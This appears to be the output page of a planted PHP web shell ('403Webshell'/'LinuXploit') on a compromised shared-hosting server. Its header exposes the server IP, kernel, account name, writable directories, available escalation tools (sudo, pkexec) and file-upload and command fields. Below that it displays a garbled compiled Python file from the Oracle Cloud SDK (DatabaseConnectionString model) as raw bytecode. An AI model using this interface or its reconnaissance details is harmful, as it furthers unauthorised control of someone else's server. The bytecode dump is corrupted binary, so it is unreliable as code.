403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.108
Web Server : Apache
System : Linux gator2125.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/libexec/oracle-cloud-agent/plugins/osms/oci/database/models/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/libexec/oracle-cloud-agent/plugins/osms/oci/database/models/database_connection_string.pyc
a

N��ff�@s8ddlmZmZmZddlmZeGdd�de��ZdS)�)�formatted_flat_dict�
NONE_SENTINEL�#value_allowed_none_or_none_sentinel)�init_model_state_from_kwargsc@s�eZdZdZdZdZdd�Zedd��Zej	dd��Zed	d
��Z
e
j	dd
��Z
edd
��Zej	dd
��Zedd��Zej	dd��Zdd�Z
dd�Zdd�ZdS)�DatabaseConnectionStringz0
    The Oracle Database connection string.
    �TCP�TCPScKs<ddddd�|_ddddd�|_d|_d|_d|_d|_dS)	a�
        Initializes a new DatabaseConnectionString object with values from keyword arguments.
        The following keyword arguments are supported (corresponding to the getters/setters of this class):

        :param hostname:
            The value to assign to the hostname property of this DatabaseConnectionString.
        :type hostname: str

        :param port:
            The value to assign to the port property of this DatabaseConnectionString.
        :type port: int

        :param service:
            The value to assign to the service property of this DatabaseConnectionString.
        :type service: str

        :param protocol:
            The value to assign to the protocol property of this DatabaseConnectionString.
            Allowed values for this property are: "TCP", "TCPS", 'UNKNOWN_ENUM_VALUE'.
            Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'.
        :type protocol: str

        �str�int)�hostname�port�service�protocolrrr
rN)�
swagger_types�
attribute_map�	_hostname�_port�_service�	_protocol)�self�kwargs�r��/sparta/input/_build_configuration/image_build+validate/lib/bmcenv/lib64/python3.9/site-packages/oci/database/models/database_connection_string.py�__init__s��z!DatabaseConnectionString.__init__cCs|jS)z�
        **[Required]** Gets the hostname of this DatabaseConnectionString.
        The host name of the database.


        :return: The hostname of this DatabaseConnectionString.
        :rtype: str
        �r�rrrrrCs
z!DatabaseConnectionString.hostnamecCs
||_dS)z�
        Sets the hostname of this DatabaseConnectionString.
        The host name of the database.


        :param hostname: The hostname of this DatabaseConnectionString.
        :type: str
        Nr)rrrrrrOs
cCs|jS)z�
        **[Required]** Gets the port of this DatabaseConnectionString.
        The port used to connect to the database.


        :return: The port of this DatabaseConnectionString.
        :rtype: int
        �rrrrrr[s
zDatabaseConnectionString.portcCs
||_dS)z�
        Sets the port of this DatabaseConnectionString.
        The port used to connect to the database.


        :param port: The port of this DatabaseConnectionString.
        :type: int
        Nr)rrrrrrgs
cCs|jS)z�
        **[Required]** Gets the service of this DatabaseConnectionString.
        The name of the service alias used to connect to the database.


        :return: The service of this DatabaseConnectionString.
        :rtype: str
        �rrrrrr
ss
z DatabaseConnectionString.servicecCs
||_dS)z�
        Sets the service of this DatabaseConnectionString.
        The name of the service alias used to connect to the database.


        :param service: The service of this DatabaseConnectionString.
        :type: str
        Nr)rr
rrrr
s
cCs|jS)a�
        **[Required]** Gets the protocol of this DatabaseConnectionString.
        The protocol used to connect to the database.

        Allowed values for this property are: "TCP", "TCPS", 'UNKNOWN_ENUM_VALUE'.
        Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'.


        :return: The protocol of this DatabaseConnectionString.
        :rtype: str
        )rrrrrr�s
z!DatabaseConnectionString.protocolcCs ddg}t||�sd}||_dS)z�
        Sets the protocol of this DatabaseConnectionString.
        The protocol used to connect to the database.


        :param protocol: The protocol of this DatabaseConnectionString.
        :type: str
        rr�UNKNOWN_ENUM_VALUEN)rr)rr�allowed_valuesrrrr�s

cCst|�S�N)rrrrr�__repr__�sz!DatabaseConnectionString.__repr__cCs|durdS|j|jkS)NF)�__dict__�r�otherrrr�__eq__�szDatabaseConnectionString.__eq__cCs
||kSr rr#rrr�__ne__�szDatabaseConnectionString.__ne__N)�__name__�
__module__�__qualname__�__doc__�PROTOCOL_TCP�
PROTOCOL_TCPSr�propertyr�setterrr
rr!r%r&rrrrr
s.+







rN)�oci.utilrrr�oci.decoratorsr�objectrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit